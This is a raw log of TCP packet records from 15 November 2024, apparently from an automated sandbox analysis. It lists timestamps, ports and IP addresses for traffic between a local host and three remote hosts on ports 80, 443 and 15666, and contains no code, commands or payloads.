Nov 15, 2024 10:28:31.990446091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990446091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990454912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990489006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990499020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990529060 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990529060 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990529060 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990608931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990619898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990638018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990649939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990660906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990670919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990680933 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990680933 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990704060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990715981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990726948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990731955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990770102 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990788937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990885973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990896940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990909100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990920067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990930080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990941048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990947962 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990953922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990993977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991004944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991014957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991024017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991033077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991033077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991033077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991036892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991066933 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991086960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991091013 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991099119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991110086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991122007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991132975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991136074 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991189957 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991195917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991209030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991257906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991267920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991280079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991291046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991333008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991349936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991359949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.991368055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991492987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.991492987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.992779016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.992877960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.992889881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.992901087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.992911100 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.992918968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.992969990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.992969990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.011353970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.011374950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.011399031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.011409044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.011420965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.011430025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.011449099 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.011449099 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.011466980 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.055824041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.055840969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.055852890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.056046009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.056159973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.056159973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.056276083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.056296110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.056417942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.056418896 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.066512108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.066534996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.066548109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.066560030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.066569090 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.066595078 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.067109108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.067131996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.067142963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.067352057 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.067352057 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.100441933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100459099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100471973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100598097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100616932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100630045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100640059 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100647926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.100651026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100647926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.100663900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100676060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100688934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.100711107 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.100711107 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.100711107 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101212025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101290941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101303101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101315022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101365089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101418018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101418018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101418018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101440907 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101468086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101480961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101557016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101569891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101581097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101596117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101608038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101625919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101634026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101634026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101634026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101638079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101708889 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101708889 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.101752996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101766109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101778030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.101902962 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.112668037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112682104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112694025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112741947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.112785101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112803936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112817049 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112828016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112840891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112852097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112864017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112914085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.112914085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.112914085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.112941027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112952948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112965107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112976074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112988949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112992048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.112999916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.112992048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.113034010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.113080025 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.113080025 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.113080025 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.113125086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.113137960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.113148928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:32.113195896 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:32.163336039 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:45.062159061 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:45.067733049 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:45.067804098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:45.205365896 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:45.210541010 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:45.210721016 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:45.289891005 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:45.289923906 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:45.290117979 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:45.339112997 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:45.339138031 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:45.943871021 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:45.944674969 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:45.998176098 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:45.998203993 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:45.998471022 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:45.998547077 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:46.000193119 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:46.043327093 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:46.182415009 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:46.182590008 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:46.182647943 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:46.182647943 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:46.183305979 CET	53977	443	192.168.2.4	172.67.74.152
Nov 15, 2024 10:28:46.183342934 CET	443	53977	172.67.74.152	192.168.2.4
Nov 15, 2024 10:28:51.927747011 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.932679892 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932693005 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932763100 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932773113 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932774067 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.932790995 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932801962 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932804108 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.932825089 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932842970 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932852983 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932862997 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.932879925 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.932918072 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.937841892 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.937855959 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.937913895 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.937916040 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.937932968 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.937972069 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938003063 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938014030 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.938065052 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938066959 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.938098907 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938147068 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938157082 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938162088 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.938180923 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938211918 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.938244104 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.938290119 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943342924 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943453074 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943480968 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943500996 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943512917 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943531036 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943542957 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943543911 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943598986 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943614006 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943631887 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943659067 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943671942 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943686962 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943697929 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943702936 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943717003 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943733931 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.943748951 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.943814993 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948414087 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948445082 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948491096 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948519945 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948535919 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948540926 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948590994 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948606968 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948617935 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948708057 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948729992 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948755980 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948757887 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948765993 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948807001 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948813915 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948817968 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948851109 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948859930 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948908091 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948909998 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948926926 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948940039 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.948966980 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.948968887 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949011087 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949043989 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949052095 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949131012 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949140072 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949160099 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949196100 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949228048 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949239016 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949289083 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949331045 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949341059 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949464083 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949474096 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949482918 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949493885 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949527979 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949539900 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949543953 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949573994 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949592113 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949603081 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949629068 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949634075 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949655056 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949673891 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949714899 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949728012 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949738979 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949748993 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949769974 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949770927 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949790001 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949800014 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949801922 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949836016 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949842930 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949861050 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949872971 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949881077 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949887991 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949924946 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.949944019 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949954987 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949980021 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.949990034 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950011969 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.950031042 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950041056 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950069904 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.950082064 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950122118 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.950124025 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950151920 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950161934 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950198889 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950217962 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.950300932 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950315952 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950325012 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950334072 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950342894 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.950352907 CET	15666	53976	45.130.145.152	192.168.2.4
